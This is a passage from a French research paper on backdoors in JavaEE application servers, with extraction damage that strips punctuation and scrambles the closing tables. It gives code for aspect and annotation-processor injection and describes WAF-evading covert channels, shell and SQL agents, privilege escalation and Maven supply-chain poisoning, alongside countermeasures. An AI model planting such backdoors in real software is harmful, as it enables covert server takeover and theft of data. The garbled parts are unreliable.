HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep
